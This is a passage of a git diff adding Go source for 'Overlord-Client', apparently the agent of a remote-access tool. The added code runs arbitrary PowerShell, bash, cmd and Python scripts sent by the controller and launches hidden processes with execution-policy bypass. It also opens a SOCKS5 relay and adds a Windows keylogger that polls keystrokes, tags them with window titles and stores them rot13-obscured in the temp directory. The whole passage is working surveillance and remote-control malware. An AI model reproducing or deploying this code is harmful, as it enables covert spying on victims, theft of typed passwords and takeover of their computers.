+ dst := image.Rect(offX, offY, offX+part.img.Rect.Dx(), offY+part.img.Rect.Dy())
+ draw.Draw(canvas, dst, part.img, part.img.Rect.Min, draw.Src)
+ }
+
+ return canvas, 0, canvas.Rect, nil
+}
diff --git a/Overlord-Client/cmd/agent/handlers/script.go b/Overlord-Client/cmd/agent/handlers/script.go
new file mode 100644
index 0000000..99674d8
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/script.go
@@ -0,0 +1,94 @@
+package handlers
+
+import (
+ "context"
+ "log"
+ "os/exec"
+ "runtime"
+ "strings"
+ "time"
+
+ agentRuntime "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+)
+
+func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
+ log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
+
+ var cmd *exec.Cmd
+ switch scriptType {
+ case "powershell":
+ if runtime.GOOS == "windows" {
+ cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
+ } else {
+
+ cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
+ }
+ case "bash":
+ if runtime.GOOS == "windows" {
+
+ cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
+ } else {
+ cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
+ }
+ case "sh":
+ cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent)
+ case "cmd":
+ if runtime.GOOS == "windows" {
+ cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent)
+ } else {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: "cmd.exe not available on non-Windows systems",
+ })
+ }
+ case "python":
+ cmd = exec.CommandContext(ctx, "python", "-c", scriptContent)
+ case "python3":
+ cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent)
+ default:
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: "unsupported script type: " + scriptType,
+ })
+ }
+
+ timeout := 5 * time.Minute
+ ctx, cancel := context.WithTimeout(ctx, timeout)
+ defer cancel()
+
+ output, err := cmd.CombinedOutput()
+
+ if err != nil {
+
+ if ctx.Err() == context.DeadlineExceeded {
+ return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
+ Type: "script_result",
+ CommandID: cmdID,
+ OK: false,
+ Output: string(output),
+ Error: "Script execution timed out after " + timeout.String(),
+ })
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
+ Type: "script_result",
+ CommandID: cmdID,
+ OK: false,
+ Output: string(output),
+ Error: err.Error(),
+ })
+ }
+
+ log.Printf("script: execution completed successfully (%d bytes output)", len(output))
+ return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
+ Type: "script_result",
+ CommandID: cmdID,
+ OK: true,
+ Output: strings.TrimSpace(string(output)),
+ })
+}
diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_args.go b/Overlord-Client/cmd/agent/handlers/silent_exec_args.go
new file mode 100644
index 0000000..b517947
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/silent_exec_args.go
@@ -0,0 +1,73 @@
+package handlers
+
+import (
+ "strings"
+ "unicode"
+)
+
+func parseCommandArgs(input string) []string {
+ if strings.TrimSpace(input) == "" {
+ return []string{}
+ }
+
+ var args []string
+ var current []rune
+ inSingle := false
+ inDouble := false
+ escaped := false
+
+ for _, r := range input {
+ if escaped {
+ current = append(current, r)
+ escaped = false
+ continue
+ }
+
+ if r == '\\' {
+ escaped = true
+ continue
+ }
+
+ if inSingle {
+ if r == '\'' {
+ inSingle = false
+ } else {
+ current = append(current, r)
+ }
+ continue
+ }
+
+ if inDouble {
+ if r == '"' {
+ inDouble = false
+ } else {
+ current = append(current, r)
+ }
+ continue
+ }
+
+ switch {
+ case r == '\'':
+ inSingle = true
+ case r == '"':
+ inDouble = true
+ case unicode.IsSpace(r):
+ if len(current) > 0 {
+ args = append(args, string(current))
+ current = nil
+ }
+ default:
+ current = append(current, r)
+ }
+ }
+
+ if escaped {
+ current = append(current, '\\')
+ }
+
+ if len(current) > 0 {
+ args = append(args, string(current))
+ }
+
+ return args
+}
diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go b/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go
new file mode 100644
index 0000000..c41880e
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go
@@ -0,0 +1,34 @@
+//go:build !windows
+// +build !windows
+
+package handlers
+
+import (
+ "os"
+ "os/exec"
+ "path/filepath"
+ "strings"
+)
+
+func startSilentProcess(command string, args []string, cwd string, _ bool) error {
+ ext := strings.ToLower(filepath.Ext(command))
+
+ var cmd *exec.Cmd
+ if ext == ".sh" {
+ cmd = exec.Command("sh", append([]string{command}, args...)...)
+ } else {
+ cmd = exec.Command(command, args...)
+ }
+
+ if cwd != "" {
+ cmd.Dir = cwd
+ }
+
+ nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
+ if err == nil {
+ cmd.Stdin = nullFile
+ cmd.Stdout = nullFile
+ cmd.Stderr = nullFile
+ }
+ return cmd.Start()
+}
diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go b/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go
new file mode 100644
index 0000000..685781a
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go
@@ -0,0 +1,60 @@
+//go:build windows
+// +build windows
+
+package handlers
+
+import (
+ "os"
+ "os/exec"
+ "path/filepath"
+ "strings"
+ "syscall"
+
+ "golang.org/x/sys/windows"
+)
+
+func startSilentProcess(command string, args []string, cwd string, hideWindow bool) error {
+ ext := strings.ToLower(filepath.Ext(command))
+
+ var cmd *exec.Cmd
+ switch ext {
+ case ".bat", ".cmd":
+ cmd = exec.Command("cmd.exe", append([]string{"/c", command}, args...)...)
+ case ".ps1":
+ cmd = exec.Command("powershell.exe", append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)...)
+ default:
+ cmd = exec.Command(command, args...)
+ }
+
+ if cwd != "" {
+ cmd.Dir = cwd
+ }
+
+ if hideWindow {
+ attr := &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+ nullFile, err := os.OpenFile(os.DevNull, os.O_RDWR, 0)
+ if err == nil {
+ cmd.Stdin = nullFile
+ cmd.Stdout = nullFile
+ cmd.Stderr = nullFile
+ }
+
+ cmd.SysProcAttr = attr
+ return cmd.Start()
+ }
+
+ switch ext {
+ case ".ps1":
+ psArgs := append([]string{"-ExecutionPolicy", "Bypass", "-NoProfile", "-File", command}, args...)
+ cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "powershell.exe"}, psArgs...)...)
+ case ".bat", ".cmd":
+ cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", "cmd.exe", "/c", command}, args...)...)
+ default:
+ cmd = exec.Command("cmd.exe", append([]string{"/c", "start", "", command}, args...)...)
+ }
+ if cwd != "" {
+ cmd.Dir = cwd
+ }
+ cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: false}
+ return cmd.Start()
+}
diff --git a/Overlord-Client/cmd/agent/handlers/socks5.go b/Overlord-Client/cmd/agent/handlers/socks5.go
new file mode 100644
index 0000000..35cbfcf
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/socks5.go
@@ -0,0 +1,255 @@
+package handlers
+
+import (
+ "context"
+ "encoding/binary"
+ "fmt"
+ "io"
+ "log"
+ "net"
+ "sync"
+ "time"
+
+ "overlord-client/cmd/agent/runtime"
+ "overlord-client/cmd/agent/wire"
+)
+
+var (
+ proxyListenerMu sync.Mutex
+ proxyListener net.Listener
+ proxyPort int
+ proxyCtx context.Context
+ proxyCancel context.CancelFunc
+)
+
+func HandleProxyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
+ proxyListenerMu.Lock()
+ defer proxyListenerMu.Unlock()
+
+ if proxyListener != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: "Proxy already running",
+ })
+ }
+
+ requestedPort := 1080
+ if portVal, ok := payload["port"]; ok {
+ if port, ok := portVal.(int); ok && port > 0 {
+ requestedPort = port
+ }
+ }
+
+ listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", requestedPort))
+ if err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: fmt.Sprintf("Failed to start proxy: %v", err),
+ })
+ }
+
+ proxyListener = listener
+ proxyPort = listener.Addr().(*net.TCPAddr).Port
+ proxyCtx, proxyCancel = context.WithCancel(context.Background())
+
+ log.Printf("SOCKS5 proxy started on port %d", proxyPort)
+
+ if err := wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: true,
+ Message: fmt.Sprintf("Proxy started on port %d", proxyPort),
+ }); err != nil {
+ return err
+ }
+
+ go acceptProxyConnections(proxyCtx, listener)
+
+ return nil
+}
+
+func HandleProxyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
+ proxyListenerMu.Lock()
+ defer proxyListenerMu.Unlock()
+
+ if proxyListener == nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: false,
+ Message: "No proxy running",
+ })
+ }
+
+ if proxyCancel != nil {
+ proxyCancel()
+ }
+
+ if err := proxyListener.Close(); err != nil {
+ log.Printf("Error closing proxy listener: %v", err)
+ }
+
+ proxyListener = nil
+ proxyPort = 0
+
+ log.Printf("SOCKS5 proxy stopped")
+
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
+ Type: "command_result",
+ CommandID: cmdID,
+ OK: true,
+ Message: "Proxy stopped",
+ })
+}
+
+func acceptProxyConnections(ctx context.Context, listener net.Listener) {
+ for {
+ select {
+ case <-ctx.Done():
+ return
+ default:
+ }
+
+ conn, err := listener.Accept()
+ if err != nil {
+ select {
+ case <-ctx.Done():
+ return
+ default:
+ log.Printf("Proxy accept error: %v", err)
+ continue
+ }
+ }
+
+ go handleProxyConnection(ctx, conn)
+ }
+}
+
+func handleProxyConnection(ctx context.Context, conn net.Conn) {
+ defer conn.Close()
+
+ conn.SetDeadline(time.Now().Add(30 * time.Second))
+
+ buf := make([]byte, 2)
+ if _, err := io.ReadFull(conn, buf); err != nil {
+ log.Printf("Proxy handshake read error: %v", err)
+ return
+ }
+
+ version := buf[0]
+ nmethods := buf[1]
+
+ if version != 5 {
+ log.Printf("Unsupported SOCKS version: %d", version)
+ return
+ }
+
+ methods := make([]byte, nmethods)
+ if _, err := io.ReadFull(conn, methods); err != nil {
+ log.Printf("Proxy methods read error: %v", err)
+ return
+ }
+
+ if _, err := conn.Write([]byte{5, 0}); err != nil {
+ log.Printf("Proxy handshake response error: %v", err)
+ return
+ }
+
+ reqHeader := make([]byte, 4)
+ if _, err := io.ReadFull(conn, reqHeader); err != nil {
+ log.Printf("Proxy request header error: %v", err)
+ return
+ }
+
+ if reqHeader[0] != 5 {
+ log.Printf("Invalid request version: %d", reqHeader[0])
+ return
+ }
+
+ cmd := reqHeader[1]
+ if cmd != 1 {
+ conn.Write([]byte{5, 7, 0, 1, 0, 0, 0, 0, 0, 0}) // command not supported
+ return
+ }
+
+ atyp := reqHeader[3]
+ var host string
+ var port uint16
+
+ switch atyp {
+ case 1: // IPv4
+ addr := make([]byte, 4)
+ if _, err := io.ReadFull(conn, addr); err != nil {
+ return
+ }
+ host = net.IP(addr).String()
+ case 3: // domain name
+ addrLen := make([]byte, 1)
+ if _, err := io.ReadFull(conn, addrLen); err != nil {
+ return
+ }
+ addr := make([]byte, addrLen[0])
+ if _, err := io.ReadFull(conn, addr); err != nil {
+ return
+ }
+ host = string(addr)
+ case 4: // IPv6
+ addr := make([]byte, 16)
+ if _, err := io.ReadFull(conn, addr); err != nil {
+ return
+ }
+ host = net.IP(addr).String()
+ default:
+ conn.Write([]byte{5, 8, 0, 1, 0, 0, 0, 0, 0, 0}) // Address type not supported
+ return
+ }
+
+ // read port
+ portBytes := make([]byte, 2)
+ if _, err := io.ReadFull(conn, portBytes); err != nil {
+ return
+ }
+ port = binary.BigEndian.Uint16(portBytes)
+
+ log.Printf("SOCKS5 CONNECT to %s:%d", host, port)
+
+ // connect to target
+ targetAddr := fmt.Sprintf("%s:%d", host, port)
+ targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
+ if err != nil {
+ log.Printf("Failed to connect to %s: %v", targetAddr, err)
+ conn.Write([]byte{5, 5, 0, 1, 0, 0, 0, 0, 0, 0}) // Connection refused
+ return
+ }
+ defer targetConn.Close()
+
+ // send success response
+ // VER | REP | RSV | ATYP | BND.ADDR | BND.PORT
+ conn.Write([]byte{5, 0, 0, 1, 0, 0, 0, 0, 0, 0})
+
+ // clear deadline for data transfer
+ conn.SetDeadline(time.Time{})
+ targetConn.SetDeadline(time.Time{})
+
+ // relay data bidirectionally
+ done := make(chan struct{}, 2)
+
+ goSafe("socks5 relay to target", nil, func() {
+ io.Copy(targetConn, conn)
+ done <- struct{}{}
+ })
+
+ goSafe("socks5 relay to client", nil, func() {
+ io.Copy(conn, targetConn)
+ done <- struct{}{}
+ })
+
+ select {
+ case <-done:
+ case <-ctx.Done():
+ }
+}
diff --git a/Overlord-Client/cmd/agent/handlers/stream_limit.go b/Overlord-Client/cmd/agent/handlers/stream_limit.go
new file mode 100644
index 0000000..203fcc8
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/stream_limit.go
@@ -0,0 +1,28 @@
+package handlers
+
+import (
+ "log"
+ "os"
+ "strconv"
+ "strings"
+ "time"
+)
+
+func streamInterval(envVar string, defFPS int) (time.Duration, int) {
+ fps := defFPS
+ raw := strings.TrimSpace(os.Getenv(envVar))
+ if raw != "" {
+ if v, err := strconv.Atoi(raw); err == nil && v > 0 {
+ fps = v
+ } else {
+ log.Printf("stream: invalid %s=%q, using %d", envVar, raw, defFPS)
+ }
+ }
+ if fps < 1 {
+ fps = 1
+ }
+ if fps > 120 {
+ fps = 120
+ }
+ return time.Second / time.Duration(fps), fps
+}
diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger.go b/Overlord-Client/cmd/agent/keylogger/keylogger.go
new file mode 100644
index 0000000..d251916
--- /dev/null
+++ b/Overlord-Client/cmd/agent/keylogger/keylogger.go
@@ -0,0 +1,410 @@
+package keylogger
+
+import (
+ "fmt"
+ "log"
+ "os"
+ "path/filepath"
+ "strings"
+ "sync"
+ "time"
+)
+
+const (
+ MaxFileSize = 10 * 1024 * 1024 // 10MB
+ FileRetention = 7 * 24 * time.Hour // 1 week
+ FlushInterval = 5 * time.Second
+ FileNamePrefix = "ovd-"
+ InactivityPause = 2 * time.Second // Time before starting a new line
+)
+
+type Keylogger struct {
+ mu sync.Mutex
+ running bool
+ stopCh chan struct{}
+ buffer strings.Builder
+ currentFile *os.File
+ currentDate string
+ currentName string
+ logDir string
+ lastKeyTime time.Time
+ lineStarted bool
+ currentWindowTitle string
+}
+
+func New() *Keylogger {
+ return &Keylogger{
+ stopCh: make(chan struct{}),
+ logDir: getTempDir(),
+ }
+}
+
+func (k *Keylogger) Start() error {
+ k.mu.Lock()
+ if k.running {
+ k.mu.Unlock()
+ return fmt.Errorf("keylogger already running")
+ }
+ k.running = true
+ k.mu.Unlock()
+
+ log.Printf("[keylogger] Starting keylogger, logs in: %s", k.logDir)
+
+ go k.cleanupOldLogs()
+ go k.captureLoop()
+ go k.flushLoop()
+
+ return nil
+}
+
+func (k *Keylogger) Stop() {
+ k.mu.Lock()
+ defer k.mu.Unlock()
+
+ if !k.running {
+ return
+ }
+
+ k.running = false
+ close(k.stopCh)
+
+ if k.currentFile != nil {
+ if k.lineStarted && k.buffer.Len() > 0 {
+ k.buffer.WriteString("\n")
+ }
+ k.flushBuffer()
+ k.currentFile.Close()
+ k.currentFile = nil
+ }
+
+ log.Printf("[keylogger] Stopped")
+}
+
+func (k *Keylogger) ListFiles() ([]FileInfo, error) {
+ entries, err := os.ReadDir(k.logDir)
+ if err != nil {
+ return nil, err
+ }
+
+ var files []FileInfo
+ for _, entry := range entries {
+ if entry.IsDir() {
+ continue
+ }
+ name := entry.Name()
+ if !strings.HasPrefix(name, FileNamePrefix) {
+ continue
+ }
+
+ info, err := entry.Info()
+ if err != nil {
+ continue
+ }
+
+ files = append(files, FileInfo{
+ Name: name,
+ Size: info.Size(),
+ Date: info.ModTime(),
+ })
+ }
+
+ return files, nil
+}
+
+func (k *Keylogger) ReadFile(filename string) ([]byte, error) {
+ if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) {
+ return nil, fmt.Errorf("invalid filename")
+ }
+
+ if !strings.HasPrefix(filename, FileNamePrefix) {
+ return nil, fmt.Errorf("invalid filename prefix")
+ }
+
+ path := filepath.Join(k.logDir, filename)
+ data, err := os.ReadFile(path)
+ if err != nil {
+ return nil, err
+ }
+
+ return data, nil
+}
+
+func (k *Keylogger) ClearAll() error {
+ k.mu.Lock()
+ defer k.mu.Unlock()
+
+ if k.currentFile != nil {
+ k.currentFile.Close()
+ k.currentFile = nil
+ k.currentDate = ""
+ k.currentName = ""
+ k.buffer.Reset()
+ k.lineStarted = false
+ }
+
+ entries, err := os.ReadDir(k.logDir)
+ if err != nil {
+ return err
+ }
+
+ for _, entry := range entries {
+ if entry.IsDir() {
+ continue
+ }
+ name := entry.Name()
+ if !strings.HasPrefix(name, FileNamePrefix) {
+ continue
+ }
+
+ path := filepath.Join(k.logDir, name)
+ if err := os.Remove(path); err != nil {
+ log.Printf("[keylogger] Failed to remove %s: %v", name, err)
+ }
+ }
+
+ log.Printf("[keylogger] Cleared all log files")
+ return nil
+}
+
+func (k *Keylogger) DeleteFile(filename string) error {
+ if strings.Contains(filename, "..") || strings.Contains(filename, string(filepath.Separator)) {
+ return fmt.Errorf("invalid filename")
+ }
+
+ if !strings.HasPrefix(filename, FileNamePrefix) {
+ return fmt.Errorf("invalid filename prefix")
+ }
+
+ k.mu.Lock()
+ defer k.mu.Unlock()
+
+ if k.currentFile != nil && filename == k.currentName {
+ k.currentFile.Close()
+ k.currentFile = nil
+ k.currentDate = ""
+ k.currentName = ""
+ k.buffer.Reset()
+ k.lineStarted = false
+ }
+
+ path := filepath.Join(k.logDir, filename)
+ if err := os.Remove(path); err != nil {
+ return err
+ }
+
+ log.Printf("[keylogger] Deleted log file: %s", filename)
+ return nil
+}
+
+func (k *Keylogger) FlushNow() {
+ k.mu.Lock()
+ defer k.mu.Unlock()
+
+ if k.buffer.Len() > 0 {
+ k.flushBuffer()
+ }
+}
+
+func (k *Keylogger) captureLoop() {
+ for {
+ select {
+ case <-k.stopCh:
+ return
+ default:
+ if err := k.captureKeystrokes(); err != nil {
+ log.Printf("[keylogger] Capture error: %v", err)
+ time.Sleep(time.Second)
+ }
+ }
+ }
+}
+
+func (k *Keylogger) flushLoop() {
+ ticker := time.NewTicker(FlushInterval)
+ defer ticker.Stop()
+
+ for {
+ select {
+ case <-k.stopCh:
+ return
+ case <-ticker.C:
+ k.mu.Lock()
+ if k.buffer.Len() > 0 {
+ if k.lineStarted && !k.lastKeyTime.IsZero() && time.Since(k.lastKeyTime) > InactivityPause {
+ k.buffer.WriteString("\n")
+ k.lineStarted = false
+ }
+ k.flushBuffer()
+ }
+ k.mu.Unlock()
+ }
+ }
+}
+
+func (k *Keylogger) flushBuffer() {
+ if k.buffer.Len() == 0 {
+ return
+ }
+
+ today := time.Now().Format("2006-01-02")
+ if k.currentDate != today || k.currentFile == nil {
+ k.rotateFile(today)
+ }
+
+ if k.currentFile != nil {
+ info, err := k.currentFile.Stat()
+ if err == nil && info.Size() >= MaxFileSize {
+ k.rotateFile(today)
+ }
+ }
+
+ if k.currentFile == nil {
+ return
+ }
+
+ encrypted := rot13(k.buffer.String())
+ if _, err := k.currentFile.WriteString(encrypted); err != nil {
+ log.Printf("[keylogger] Write error: %v", err)
+ }
+
+ k.buffer.Reset()
+}
+
+func (k *Keylogger) rotateFile(date string) {
+ if k.currentFile != nil {
+ k.currentFile.Close()
+ }
+
+ timestamp := time.Now().Unix()
+ filename := fmt.Sprintf("%s%s-%d.log", FileNamePrefix, date, timestamp)
+ path := filepath.Join(k.logDir, filename)
+
+ file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
+ if err != nil {
+ log.Printf("[keylogger] Failed to open log file: %v", err)
+ k.currentFile = nil
+ k.currentDate = ""
+ return
+ }
+
+ k.currentFile = file
+ k.currentDate = date
+ k.currentName = filename
+ log.Printf("[keylogger] Rotated to new file: %s", filename)
+}
+
+func (k *Keylogger) cleanupOldLogs() {
+ cutoff := time.Now().Add(-FileRetention)
+
+ entries, err := os.ReadDir(k.logDir)
+ if err != nil {
+ log.Printf("[keylogger] Failed to read log dir for cleanup: %v", err)
+ return
+ }
+
+ for _, entry := range entries {
+ if entry.IsDir() {
+ continue
+ }
+ name := entry.Name()
+ if !strings.HasPrefix(name, FileNamePrefix) {
+ continue
+ }
+
+ info, err := entry.Info()
+ if err != nil {
+ continue
+ }
+
+ if info.ModTime().Before(cutoff) {
+ path := filepath.Join(k.logDir, name)
+ if err := os.Remove(path); err != nil {
+ log.Printf("[keylogger] Failed to remove old log %s: %v", name, err)
+ } else {
+ log.Printf("[keylogger] Removed old log: %s", name)
+ }
+ }
+ }
+}
+
+func (k *Keylogger) logKey(key string) {
+ k.mu.Lock()
+ defer k.mu.Unlock()
+
+ now := time.Now()
+
+ needsNewLine := false
+ if !k.lastKeyTime.IsZero() && now.Sub(k.lastKeyTime) > InactivityPause {
+ needsNewLine = true
+ }
+
+ if key == "[ENTER]" {
+ if k.lineStarted {
+ k.buffer.WriteString("\n")
+ }
+ k.lineStarted = false
+ k.lastKeyTime = now
+
+ if k.buffer.Len() > 4096 {
+ k.flushBuffer()
+ }
+ return
+ }
+
+ windowTitle := k.getWindowTitle()
+ windowChanged := windowTitle != k.currentWindowTitle && windowTitle != ""
+
+ if (needsNewLine || windowChanged) && k.lineStarted {
+ k.buffer.WriteString("\n")
+ k.lineStarted = false
+ }
+
+ if !k.lineStarted {
+ timestamp := now.Format("2006-01-02 15:04:05")
+ if windowChanged {
+ k.currentWindowTitle = windowTitle
+ }
+ if k.currentWindowTitle != "" {
+ k.buffer.WriteString(fmt.Sprintf("[%s] [%s] ", timestamp, k.currentWindowTitle))
+ } else {
+ k.buffer.WriteString(fmt.Sprintf("[%s] ", timestamp))
+ }
+ k.lineStarted = true
+ }
+
+ k.buffer.WriteString(key)
+ k.lastKeyTime = now
+
+ if k.buffer.Len() > 4096 {
+ k.flushBuffer()
+ }
+}
+
+func rot13(s string) string {
+ var result strings.Builder
+ for _, r := range s {
+ switch {
+ case r >= 'a' && r <= 'z':
+ result.WriteRune('a' + (r-'a'+13)%26)
+ case r >= 'A' && r <= 'Z':
+ result.WriteRune('A' + (r-'A'+13)%26)
+ default:
+ result.WriteRune(r)
+ }
+ }
+ return result.String()
+}
+
+func getTempDir() string {
+ return os.TempDir()
+}
+
+func (k *Keylogger) getWindowTitle() string {
+ return getWindowTitle()
+}
+
+type FileInfo struct {
+ Name string
+ Size int64
+ Date time.Time
+}
diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go
new file mode 100644
index 0000000..520ef79
--- /dev/null
+++ b/Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go
@@ -0,0 +1,31 @@
+// go:build darwin
+//go:build darwin
+// +build darwin
+
+package keylogger
+
+import (
+ "fmt"
+ "log"
+ "time"
+)
+
+func (k *Keylogger) captureKeystrokes() error {
+ log.Printf("[keylogger] macOS keylogging not fully implemented - placeholder mode")
+
+ ticker := time.NewTicker(30 * time.Second)
+ defer ticker.Stop()
+
+ for {
+ select {
+ case <-k.stopCh:
+ return nil
+ case <-ticker.C:
+ k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
+ }
+ }
+}
+
+func getWindowTitle() string {
+ return ""
+}
diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go b/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go
new file mode 100644
index 0000000..3056913
--- /dev/null
+++ b/Overlord-Client/cmd/agent/keylogger/keylogger_linux.go
@@ -0,0 +1,31 @@
+// go:build linux
+//go:build linux
+// +build linux
+
+package keylogger
+
+import (
+ "fmt"
+ "log"
+ "time"
+)
+
+func (k *Keylogger) captureKeystrokes() error {
+ log.Printf("[keylogger] Linux keylogging not fully implemented - placeholder mode")
+
+ ticker := time.NewTicker(30 * time.Second)
+ defer ticker.Stop()
+
+ for {
+ select {
+ case <-k.stopCh:
+ return nil
+ case <-ticker.C:
+ k.logKey(fmt.Sprintf("[System Activity Detected at %s]", time.Now().Format("15:04:05")))
+ }
+ }
+}
+
+func getWindowTitle() string {
+ return ""
+}
diff --git a/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go b/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go
new file mode 100644
index 0000000..c6df8eb
--- /dev/null
+++ b/Overlord-Client/cmd/agent/keylogger/keylogger_windows.go
@@ -0,0 +1,272 @@
+// go:build windows
+//go:build windows
+// +build windows
+
+package keylogger
+
+import (
+ "fmt"
+ "log"
+ "strings"
+ "syscall"
+ "time"
+ "unsafe"
+)
+
+var (
+ user32 = syscall.NewLazyDLL("user32.dll")
+ procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
+ procGetKeyboardState = user32.NewProc("GetKeyboardState")
+ procToUnicode = user32.NewProc("ToUnicode")
+ procMapVirtualKey = user32.NewProc("MapVirtualKeyW")
+ procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
+ procGetWindowTextW = user32.NewProc("GetWindowTextW")
+)
+
+const (
+ VK_SHIFT = 0x10
+ VK_CONTROL = 0x11
+ VK_MENU = 0x12 // ALT
+ VK_CAPITAL = 0x14 // CAPS LOCK
+)
+
+var keyNames = map[int]string{
+ 0x08: "[BACKSPACE]",
+ 0x09: "[TAB]",
+ 0x0D: "[ENTER]",
+ 0x1B: "[ESC]",
+ 0x20: " ",
+ 0x21: "[PAGE UP]",
+ 0x22: "[PAGE DOWN]",
+ 0x23: "[END]",
+ 0x24: "[HOME]",
+ 0x25: "[LEFT]",
+ 0x26: "[UP]",
+ 0x27: "[RIGHT]",
+ 0x28: "[DOWN]",
+ 0x2C: "[PRINT SCREEN]",
+ 0x2D: "[INSERT]",
+ 0x2E: "[DELETE]",
+ 0x5B: "[LEFT WIN]",
+ 0x5C: "[RIGHT WIN]",
+ 0x5D: "[MENU]",
+ VK_SHIFT: "[SHIFT]",
+ VK_CONTROL: "[CTRL]",
+ VK_MENU: "[ALT]",
+}
+
+func (k *Keylogger) captureKeystrokes() error {
+ keyState := make(map[int]bool)
+
+ for {
+ select {
+ case <-k.stopCh:
+ return nil
+ default:
+ time.Sleep(10 * time.Millisecond)
+
+ // Check all printable keys and special keys
+ for vk := 8; vk <= 190; vk++ {
+ ret, _, _ := procGetAsyncKeyState.Call(uintptr(vk))
+ keyDown := (ret & 0x8000) != 0
+
+ if keyDown && !keyState[vk] {
+ keyState[vk] = true
+ key := getKeyString(vk)
+ if key != "" {
+ k.logKey(key)
+ }
+ } else if !keyDown {
+ keyState[vk] = false
+ }
+ }
+ }
+ }
+}
+
+func getKeyString(vk int) string {
+ if name, ok := keyNames[vk]; ok {
+ if vk == VK_SHIFT || vk == VK_CONTROL || vk == VK_MENU {
+ return ""
+ }
+ return name
+ }
+
+ var kbState [256]byte
+ ret, _, err := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&kbState[0])))
+ if ret == 0 {
+ log.Printf("[keylogger] GetKeyboardState failed: %v", err)
+ return ""
+ }
+
+ shiftDown := (getAsyncKeyState(VK_SHIFT) & 0x8000) != 0
+ ctrlDown := (getAsyncKeyState(VK_CONTROL) & 0x8000) != 0
+ altDown := (getAsyncKeyState(VK_MENU) & 0x8000) != 0
+ if shiftDown {
+ kbState[VK_SHIFT] |= 0x80
+ } else {
+ kbState[VK_SHIFT] &^= 0x80
+ }
+ if ctrlDown {
+ kbState[VK_CONTROL] |= 0x80
+ } else {
+ kbState[VK_CONTROL] &^= 0x80
+ }
+ if altDown {
+ kbState[VK_MENU] |= 0x80
+ } else {
+ kbState[VK_MENU] &^= 0x80
+ }
+
+ if ctrlDown || altDown {
+ base := keyNameForCombo(vk)
+ if base != "" {
+ return formatCombo(ctrlDown, altDown, shiftDown, base)
+ }
+ }
+
+ var buffer [5]uint16
+ sc, _, _ := procMapVirtualKey.Call(uintptr(vk), 0)
+ n, _, _ := procToUnicode.Call(
+ uintptr(vk),
+ sc,
+ uintptr(unsafe.Pointer(&kbState[0])),
+ uintptr(unsafe.Pointer(&buffer[0])),
+ uintptr(len(buffer)),
+ 0,
+ )
+
+ if n > 0 {
+ return syscall.UTF16ToString(buffer[:n])
+ }
+
+ if s := oemKeyFallback(vk, shiftDown); s != "" {
+ return s
+ }
+
+ if vk >= 0x70 && vk <= 0x87 {
+ return fmt.Sprintf("[F%d]", vk-0x6F)
+ }
+
+ if vk >= 0x60 && vk <= 0x69 {
+ return fmt.Sprintf("%d", vk-0x60)
+ }
+
+ return ""
+}
+
